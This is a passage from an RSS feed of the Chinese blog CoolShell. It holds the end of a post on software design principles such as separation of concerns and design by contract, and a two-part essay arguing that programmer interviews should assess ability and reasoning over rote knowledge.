惯例优于配置原则</h4>\n<p>简单点说，就是将一些公认的配置方式和信息作为内部缺省的规则来使用。例如，Hibernate的映射文件，如果约定字段名和类属性一致的话，基本上就可以不要这个配置文件了。你的应用只需要指定不convention的信息即可，从而减少了大量convention而又不得不花时间和精力啰里啰嗦的东东。配置文件很多时候相当的影响开发效率。</p>\n<p>Rails 中很少有配置文件（但不是没有，数据库连接就是一个配置文件），Rails 的fans号称期开发效率是 java 开发的 10 倍，估计就是这个原因。Maven也使用了CoC原则，当你执行mvn -compile命令的时候，不需要指源文件放在什么地方，而编译以后的class文件放置在什么地方也没有指定，这就是CoC原则。</p>\n<p><strong>参考</strong>：<a title=\"http://en.wikipedia.org/wiki/Convention_over_Configuration\" href=\"http://en.wikipedia.org/wiki/Convention_over_Configuration\" rel=\"nofollow\">http://en.wikipedia.org/wiki/Convention_over_Configuration</a></p>\n<h4>Separation of Concerns (SoC) – 关注点分离</h4>\n<p>SoC 是计算机科学中最重要的努力目标之一。这个原则，就是在软件开发中，通过各种手段，将问题的各个关注点分开。如果一个问题能分解为独立且较小的问题，就是相对较易解决的。问题太过于复杂，要解决问题需要关注的点太多，而程序员的能力是有限的，不能同时关注于问题的各个方面。正如程序员的记忆力相对于计算机知识来说那么有限一样，程序员解决问题的能力相对于要解决的问题的复杂性也是一样的非常有限。在我们分析问题的时候，如果我们把所有的东西混在一起讨论，那么就只会有一个结果——乱。</p>\n<p>我记得在上一家公司有一个项目，讨论就讨论了1年多，项目本来不复杂，但是没有使用SoC，全部的东西混为一谈，再加上一堆程序员注入了各种不同的观点和想法，整个项目一下子就失控了。最后，本来一个1年的项目做了3年。</p>\n<p>实现关注点分离的方法主要有两种，一种是标准化，另一种是抽象与包装。标准化就是制定一套标准，让使用者都遵守它，将人们的行为统一起来，这样使用标准的人就不用担心别人会有很多种不同的实现，使自己的程序不能和别人的配合。Java EE就是一个标准的大集合。每个开发者只需要关注于标准本身和他所在做的事情就行了。就像是开发镙丝钉的人只专注于开发镙丝钉就行了，而不用关注镙帽是怎么生产的，反正镙帽和镙丝钉按标来就一定能合得上。不断地把程序的某些部分抽像差包装起来，也是实现关注点分离的好方法。一旦一个函数被抽像出来并实现了，那么使用函数的人就不用关心这个函数是如何实现的，同样的，一旦一个类被抽像并实现了，类的使用者也不用再关注于这个类的内部是如何实现的。诸如组件，分层，面向服务，等等这些概念都是在不同的层次上做抽像和包装，以使得使用者不用关心它的内部实现细节。</p>\n<p>说白了还是“高内聚，低耦合”。</p>\n<p><strong>参考</strong>：<a href=\"http://sulong.me/archives/99\">http://sulong.me/archives/99</a></p>\n<h4>Design by Contract (DbC) – 契约式设计</h4>\n<p>DbC的核心思想是对软件系统中的元素之间相互合作以及“责任”与“义务”的比喻。这种比喻从商业活动中“客户”与“供应商”达成“契约”而得来。例如：</p>\n<ul>\n<li>供应商必须提供某种产品（责任），并且他有权期望客户已经付款（权利）。</li>\n<li>客户必须付款（责任），并且有权得到产品（权利）。</li>\n<li>契约双方必须履行那些对所有契约都有效的责任，如法律和规定等。</li>\n</ul>\n<p>同样的，如果在程序设计中一个模块提供了某种功能，那么它要：</p>\n<ul>\n<li>期望所有调用它的客户模块都保证一定的进入条件：这就是模块的先验条件（客户的义务和供应商的权利，这样它就不用去处理不满足先验条件的情况）。</li>\n<li>保证退出时给出特定的属性：这就是模块的后验条件——（供应商的义务，显然也是客户的权利）。</li>\n<li>在进入时假定，并在退出时保持一些特定的属性：不变式。</li>\n</ul>\n<p>契约就是这些权利和义务的正式形式。我们可以用“三个问题”来总结DbC，并且作为设计者要经常问：</p>\n<ul>\n<li>它期望的是什么？</li>\n<li>它要保证的是什么？</li>\n<li>它要保持的是什么？</li>\n</ul>\n<p>根据Bertrand Meyer氏提出的DBC概念的描述，对于类的一个方法，都有一个前提条件以及一个后续条件，前提条件说明方法接受什么样的参数数据等，只有前提条件得到满足时，这个方法才能被调用；同时后续条件用来说明这个方法完成时的状态，如果一个方法的执行会导致这个方法的后续条件不成立，那么这个方法也不应该正常返回。</p>\n<p>现在把前提条件以及后续条件应用到继承子类中，子类方法应该满足：</p>\n<ol>\n<li>前提条件不强于基类．</li>\n<li>后续条件不弱于基类．</li>\n</ol>\n<p>换句话说，通过基类的接口调用一个对象时，用户只知道基类前提条件以及后续条件。因此继承类不得要求用户提供比基类方法要求的更强的前提条件，亦即，继承类方法必须接受任何基类方法能接受的任何条件（参数）。同样，继承类必须顺从基类的所有后续条件，亦即，继承类方法的行为和输出不得违反由基类建立起来的任何约束，不能让用户对继承类方法的输出感到困惑。</p>\n<p>这样，我们就有了基于契约的LSP，基于契约的LSP是LSP的一种强化。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/Design_by_contract\">http://en.wikipedia.org/wiki/Design_by_contract</a></p>\n<h4>Acyclic Dependencies Principle (ADP) – 无环依赖原则</h4>\n<p>包之间的依赖结构必须是一个直接的无环图形，也就是说，在依赖结构中不允许出现环（循环依赖）。如果包的依赖形成了环状结构，怎么样打破这种循环依赖呢？有2种方法可以打破这种循环依赖关系：第一种方法是创建新的包，如果A、B、C形成环路依赖，那么把这些共同类抽出来放在一个新的包D里。这样就把C依赖A变成了C依赖D以及A依赖D，从而打破了循环依赖关系。第二种方法是使用DIP（依赖倒置原则）和ISP（接口分隔原则）设计原则。</p>\n<p>无环依赖原则（ADP）为我们解决包之间的关系耦合问题。在设计模块时，不能有循环依赖。</p>\n<p><strong>参考</strong>：<a href=\"http://c2.com/cgi/wiki?AcyclicDependenciesPrinciple\">http://c2.com/cgi/wiki?AcyclicDependenciesPrinciple</a></p>\n<h4>后记</h4>\n<p>上面这些原则可能有些学院派，也可能太为理论，我在这里说的也比较模糊和简单，这里只是给大家一个概貌，如果想要了解更多的东西，大家可以多google一下。</p>\n<p>不过这些原则看上去都不难，但是要用好却并不那么容易。要能把这些原则用得好用得精，而不教条，我的经验如下：（我以为这是一个理论到应用的过程）</p>\n<ol>\n<li>你可以先粗浅或是表面地知道这些原则。</li>\n<li>但不要急着马上就使用。</li>\n<li>在工作学习中观察和总结别人或自己的设计。</li>\n<li>再回过头来了回顾一下这些原则，相信你会有一些自己的心得。</li>\n<li>有适度地去实践一下。</li>\n<li>Goto第 3步。</li>\n</ol>\n<p>我相信可能还会有其实一些原则，欢迎大家提供。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss-150x150.png\" alt=\"从面向对象的设计模式看软件设计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_title\">从面向对象的设计模式看软件设计</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" alt=\"用Unix的设计思想来应对多变的需求\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_title\">用Unix的设计思想来应对多变的需求</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4535.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>69</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>再谈“我是怎么招聘程序员的”（上）</title>\n\t\t<link>https://coolshell.cn/articles/4506.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4506.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 20 Apr 2011 00:36:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4506</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我以前写过一篇“我是怎么招聘程序员的”的文章（在CSDN那里有很多人进行了回复）。今天，我想再谈谈关于招聘和面试这方面的东西，主要是以下这些原因： 近半年来我在...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4506.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招聘程序员的”（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我以前写过一篇“<a title=\"我是怎么招聘程序员的\" href=\"https://coolshell.cn/articles/1870.html\" target=\"_blank\">我是怎么招聘程序员的</a>”的文章（在<a title=\"我是怎么招聘程序员（CSDN）\" href=\"http://blog.csdn.net/haoel/archive/2009/12/18/5032418.aspx\" target=\"_blank\">CSDN那里</a>有很多人进行了回复）。今天，我想再谈谈关于招聘和面试这方面的东西，主要是以下这些原因：</p>\n<ul>\n<li>近半年来我在进行了大量的招聘工作，对面试有一些新的体会。</li>\n<li>酷壳最近发布了几篇趣味面试题（<a title=\"面试题：火车运煤问题\" href=\"https://coolshell.cn/articles/4429.html\" target=\"_blank\">面试题一</a>，<a title=\"又一个有趣的面试题\" href=\"https://coolshell.cn/articles/4162.html\" target=\"_blank\">面试题二</a>，<a title=\"“火柴棍式”程序员面试题\" href=\"https://coolshell.cn/articles/3961.html\" target=\"_blank\">面试题三</a>），从回复中让我有一些思考。</li>\n<li>我有一个同事最近面试了一家公司，他和我分享了一个博士专家对他的面试，也让我思考了一些。</li>\n<li>在豆瓣上看到“<a title=\"知乎上某人写面试豆瓣产品经理的经历，很欢乐\" href=\"http://www.douban.com/note/146145117/\" target=\"_blank\">知乎上某人写面试豆瓣产品经理的经历，很欢乐</a>”(亮点是面试官现身知乎亲自作答)</li>\n</ul>\n<p>所以，我很想把自己的这些新的想法再次写下来的。还是和以前一样，这篇文章同样是献给面试官的。我认为，面试的好坏完全在面试官而不是面试的人。下面是我对“<a title=\"我是怎么招聘程序员的\" href=\"../articles/1870.html\" target=\"_blank\">我是怎么招聘程序员的</a>”一文中的一些加强性的观点。（关于一些点评，请参看<a href=\"https://coolshell.cn/articles/4490.html\" target=\"_blank\">本文下篇</a>）</p>\n<p>为了让我的文章有连续性，请允许我重申一下前文的几个重要观点。</p>\n<ul>\n<li><strong>只有应聘者真实和自然的表现，才能了解到最真实的东西</strong></li>\n<li><strong>重要的不是知识，重要的是其查找知识的能力</strong></li>\n<li><strong>重要的不是那个解题的答案，而是解题的思路和方法</strong></li>\n</ul>\n<h4>操作，知识，经验，能力</h4>\n<p>我们有很多的面试官似乎分不清，什么是操作能力，什么是知识，什么是经验，什么是能力，这导致了我们的面试官经常错误地对面试者下结论，我认为分不清这些事的人是没有资格做面试官的。所以，我有必要在这里把这个问题先讲清楚。</p>\n<p><span id=\"more-4506\"></span></p>\n<p><img decoding=\"async\" title=\"更多...\" alt=\"\" src=\"https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\" /></p>\n<ul>\n<li><strong>操作</strong>。我们的面试官分不清楚什么是操作技能，什么是知识，他们甚至认为操作技能就是知识甚至经验。比如他们会 问如下的问题，请问Java中的 final是什么意思？怎么查看进程的CPU利用率？怎么编写一个管道程序？怎么查看进程的程序路径？VI中的拷贝粘贴命令是什么？包括面向对象的XX模 式是什么。等等。我以为，<strong>这些能够通过查况相关操作手册或是能够google到的东西只能说明这个人的操作技术，并不能说明他有知识或有经验</strong>。</li>\n</ul>\n<ul>\n<li><strong>知识</strong>。知识是一个人认知和学习的体现，可能会是一些基础概念和知识。比如这些问题：TCP和UDP的优缺点比 较，链表和哈希表的优缺点的比较。什么是堆什么是栈？进程间是怎么通信的？进程和线程的优缺点？同步和异步的优缺点？面向对象的XX设计模式的主要原则是 什么，等等。我以为，<strong>“知其然”只是操作技术，“知其所以然”才是真正的知识</strong>。知识不够并不代表他不能工作，会操作技能就可以应付工作，但是知识的欠缺一定会限制你的经验和能力，同样会影响你的开发质量。</li>\n</ul>\n<ul>\n<li><strong>经验</strong>。经验通常跟一个人的经历有关系。一个人的知识范围，一个人经历过的事，通常会成为一个人经验的体现。面 试中，我们会问这些问题：你解决过最难的问题是什么？你是怎么设计这个系统的？你是怎么调试和测试你的程序的？你是怎么做性能调优的？什么样的代码是好的 代码？等等。对于工作年限不长的人来说，经历和做过的事的确会成为其经验的主要因素，尤其是业务上的有行业背景的东西。但是，我更以为，<strong>经验可能更多的是你对知识的运用和驾驭，是你对做过事情的反思和总结，是你对他人的学习，观察和交流</strong>。</li>\n</ul>\n<ul>\n<li><strong>能力</strong>。一个人的能力并不会因为知道东西少而不行，也不会因为没有经验而没有能力。<strong>一个人的能力是他做事情的一种态度，性格，想法，思路，行为，方法和风格</strong>。<strong>只要有热情，有想法，有好的行为方法，以及好的行事风格，那么知识和经验对他来说只是一个时间问题</strong>。 比如：学习能力，专研精神，分析能力，沟通能力，组织能力，问题调查能力，合作能力等等。所以，对于一个新手来说，也许他的知识和经验有限，但并不代表他 能力上有问题，但是对于一个老手来说，如果其存在知识和经验欠缺的问题，那么通常都是其能力的问题。你可能暂时怀才不遇，但我不相信你会长期怀才不遇。如 果是的话，那么你必然些问题其让你的能力发挥不出来。而此时，“没有经历过”只会是你“没有能力”的一个借口。</li>\n</ul>\n<p>我不否认这四样东西对于一个优秀的程序员来说都很重要。但是，通过上述的分析，我们可以知道，能力和经验和知识需要分开对待。当然，这些东西是相辅相成的，你的能力可以让你获得知识，你的知识可以让你更有经验，你的经验又会改变你的想法和思路，从而改善你的能力。<strong>在面试中，我们需要清楚的认识到，应聘者的操作技能，知识和经验只是其能力的必要条件，并不是充要条件，而我们更应该关注于应聘者的能力</strong>。</p>\n<ul>\n<li>如果面试只是考查这个人的操作技能的话，那么这个面试完全失败。这是一个没有资格的面试官。</li>\n<li>如果面试只是在考查这个人的知识和经验的话，那么成功了一半。因为你了解了基础知和做过的事，但这并不代表你完全了解他的真正能力。</li>\n<li>如果你能够在了解这个人的知识和经验的过程中重点关注其能力（态度、性格、想法，思路，行为，方法和风格），并能正确地评估这个人的能力，那么你的面试算是非常成功的。</li>\n</ul>\n<p>也许用这四个词来描述定套东西并不太合适，但我相信你明白我想表达的。另外，我想说的是，<strong>我们不是出个题来考倒应聘者，而是要找到应聘者的亮点和长处</strong>。</p>\n<h4>不要肤浅地认识算法题和智力题</h4>\n<p>很多公司都会在面试的时候给一些算法题或是一些智力题或是一些设计题，我相信算法题或是智力题是程序员们在面试过程中最反感的事了。很多人都很BS面试官问的算法题，因为他们认为面试官问的这些算法题或智力题在实际工作当中用不到。但我想在这里说，<strong>问难的算法智力题并没有错，错的很多面试官只是在肤浅甚至错误地理解着面试中的难题的目的</strong>。他们认为，能做出算法题和智力题的人就是聪明的人就是有能力的人，这种想法实在是相当的肤浅。</p>\n<p>其实，能解难题并不意味着这个人就有能力就能在工作中解决问题，你可以想想，小学奥数题可能比这些题更难，但并不意味着那些奥数能手就有实际工作能力。你可 以想一想你们班考试得高分的同学并不一定就是聪明的人，也不一定就是有能力的人，相反，这样的人往往者是在应试教育下培养出来的书呆子。</p>\n<p>所以，我认为解难题的过程更重要，你要主要是通过解题查看这个应聘者的思路，方法，运用到的知识，有没有一些经验，和你一起交互时和沟通得是否顺畅，等等，这些才是你重点要去观察的。当然，最终是要找到答案的。</p>\n<p>我想，让面试者解决一个难题的真正思路是：</p>\n<ul>\n<li><strong>看看他对知识的应用和理解</strong>。比如，他是否会用一些基础的数据结构和算法来解决算法题？</li>\n<li><strong>看看他的整个解题思路和想法</strong>。答案是次要的，他的想法和行为才是重要的。</li>\n<li><strong>看看他是如何和你讨论交流的</strong>。把面试者当成你未来的同事，当成你的工作伙伴，一起解题，一起讨论，这样可以看看大家是否可以在一起工作。</li>\n</ul>\n<p>这些方面才是考查应聘者的能力（思路，方法、态度，性格等），并顺带着考查面试者的经验和知识。下面是一些面试的点：</p>\n<ul>\n<li>应聘者在解算法题时会不会分解或简化这个难题。这是分析能力。</li>\n<li>应聘者在解算法题 时会不会使用一些基础知识，如数据结构和基础算法。这是知识。</li>\n<li>应聘者在解题 时和你讨论的过程中你有没有感到应聘者的专研精神和良好的沟通。</li>\n<li>应聘者在对待这个算法题的心态和态度。如，面试面是否有畏难情绪。</li>\n<li>应聘者在解题时的思路和方法是否得当，是否是比较科学的方法？</li>\n<li>等等。</li>\n</ul>\n<p><strong>在解难题 的过程中考查应聘者的能力才是最终目的，而不是为难应聘者，不然，你只是一个傲慢而无知的面试官</strong>。</p>\n<h4>模拟实际中的挑战和能力</h4>\n<p>作为面试官的你，你应该多想想你的工作，以及你的成长经历。这会对你的面试很有帮助。你在工作中解决问题的实际情况是什么？你写代码的实际情况是什么？你的成长经历是什么？你是怎么获得知识和能力的？你喜欢和什么样的人工作？<strong>相信你不难会发现你工作中的实际情况和面试的情况完全是两码事，那么，你怎么可以用这种与实际情况差别那么大的面试来评估一个人的能力呢</strong>？</p>\n<p>所以，最为理想的面试是一起工作一段时间。当然，这个在招聘过程中，操作起来几乎不可能，因此，这就要求我们的面试官尽可能地把面试的过程模拟成平时工作的 过程。大家一些讨论来解决一个难题，和应聘者一起回顾一下他已经做过的事情，并在回础的过程中相互讨论相互学习。下面举一个例子。</p>\n<p>我们知道，对于软件开发来说，开发软件不难，难是的下面是这些挑战：</p>\n<ol>\n<li>软件的维护成本远远大于软件的开发成本。</li>\n<li>软件的质量变得越来越重要，所以，测试工作也变得越来越重要。</li>\n<li>软件的需求总是在变的，软件的需求总是一点一点往上加的。</li>\n<li>程序中大量的代码都是在处理一些错误的或是不正常的流程。</li>\n</ol>\n<p>所 以，当我们在考查应聘者的代码能力时候，我们为什么不能模拟这样的过程呢？比如，让应聘者实现一个atoi()的函数，实现起来应该很简单，然后 不断地往上加新的需求或新的案例，比如：处理符号，处理非数字的字母的情况，处理有空格的情况，处理十六进制，处理二进制，处理“逗号”，等等，我们要看 应聘者是怎么修改他的代码的，怎么写测试案例的，怎么重构的，随着要处理的东西越来越多，他的代码是否还是那么易读和清晰。如果只是考查编码能力，一个小时，就问这一个问题，足矣。真正的程序员每天都在和这样的事打交道的。</p>\n<p>如果要考查应聘者的设计能力，同样可以如法泡制。不断地加新的功 能，新的需求。看看面试者的思路，想法，分 析的方法，和你的讨论是否流畅，说没说在 点上，思想清不清晰，会应用什么样的知识，他在设计这个系统时的经验是会是什么样的，面对不断的修改和越来越复杂的需求，他的设计是否还是那么好？</p>\n<p>当然，因为时间比较短，所以，你不能出太复杂的问题，这需要你精心设计一些精制的有代表性的问题。</p>\n<p>（末完，<a title=\"再谈“我是怎么招聘程序员的”（下）\" href=\"https://coolshell.cn/articles/4490.html\" target=\"_blank\">请参看下篇</a>）</p>\n<p style=\"text-align: right;\"><a title=\"再谈“我是怎么招聘程序员的”（下）\" href=\"https://coolshell.cn/articles/4490.html\" target=\"_blank\"><strong>再谈“我是怎么招聘程序员的”（下）&gt;&gt;&gt;</strong></a></p>\n<p><span style=\"color: #ff0000;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" alt=\"为什么我反对纯算法面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_title\">为什么我反对纯算法面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"给程序员新手的一些建议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_title\">给程序员新手的一些建议</a></li><li ><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"再谈“我是怎么招聘程序员的”（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（下）</a></li><li ><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg\" alt=\"140个Google的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_title\">140个Google的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/1870.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/job-interview-150x150.gif\" alt=\"我是怎么招聘程序员的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1870.html\" class=\"wp_rp_title\">我是怎么招聘程序员的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招聘程序员的”（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4506.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>94</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>再谈“我是怎么招聘程序员的”（下）</title>\n\t\t<link>https://coolshell.cn/articles/4490.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4490.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 20 Apr 2011 00:35:07 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4490</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>&#60;&#60;&#60;再谈“我是怎么招聘程序员的”（上） 在上篇中，我们说到了一些认识人的方法（操作，知识，经验，能力），还有一些面试的方法（算法题，实际生产...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4490.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4490.html\">再谈“我是怎么招聘程序员的”（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong><a title=\"再谈“我是怎么招聘程序员的”（上）\" href=\"https://coolshell.cn/articles/4506.html\" target=\"_blank\"><strong>&lt;&lt;&lt;再谈“我是怎么招聘程序员的”（上）</strong></a></strong></p>\n<p>在上篇中，我们说到了一些认识人的方法（操作，知识，经验，能力），还有一些面试的方法（算法题，实际生产活动中的挑战），下面我们来说说，面试的风格，还有一些点评。<strong><strong><br />\n</strong></strong></p>\n<h4>把应聘者当成你的同事</h4>\n<p>有些公司的面试官，在面试过程中问你一个算法题，然后等着你解答了，如果你给出一个答案，然后就会问你有没有更好的答案，如果你给出了正确的答案，他们就会问你一个更难的问题，如此循环下去。他们基本上很少给你提示，甚至不停地质问你，挑战你，搞得应聘者很紧张。</p>\n<p>另外，有很多问题是没有标准答案的，或者说是，同一个答案的描述方法有多种，很多面试官会觉得你没有回答到他想要的答案，因此表现得有对你不屑，并表现出你不行的样子，并觉得你的能力有问题。真是可笑了。比如我一个朋友在回答什么是异步的问题时，举例说明了异步调用就是不能处理完就返回，并且需要传递一个回调函数给调用方以便完成后回调通知结果。这样的回答并没有错，但是这并不符合面试官心里想要的答案，面试官对此并不满意，进而认为我这个朋友还需要去多读读书。</p>\n<p>我相信大多数面试官都会这样干的。我想问问这样的面试官，<strong>你们有没有用面试的方式对过你的同事？在你的工作场景中，你会不会用面试的风格和你的同事进行交流和说话？</strong>不妨让我们来问我们自己下面几个问题：</p>\n<ul>\n<li>你在工作当中遇到难题时你是怎么解决的？你会和人讨论吗？你只用15分钟就能得出最优解吗？</li>\n<li>你在工作当中解决难题时是否会有一个人在旁边质问你并给你压力吗？</li>\n<li>你在工作当中会为难你的同事吗？会让你的同事紧张吗？你觉得在紧张的状态下能做好工作吗？</li>\n<li>你在工作中觉得同事的回答并不是你想要的答案，不是符合你的答案，你会认为你的同事不行吗？</li>\n<li>你的成长过程是什么样的？在是压力和天天被人质问的情况下成长的吗？</li>\n<li>大家都知道学校里应试教育的弊端，你觉得你的面试是不是一种应试呢？<br />\n（看看这么多的应聘者们都在做各种各样的算法题，这不就是一种应试吗？）</li>\n</ul>\n<p>想一想你的日常工作，问自己一下上面这些问题，想一想你自己的成长过程，想一想你和你的同事是怎么相处的，想一想你的日常工作中是什么样的，相信你自己也能得出结论的。</p>\n<p>如果你把应聘者当成自己未来的同事，那么你的面试会有下面的收获：</p>\n<p><span 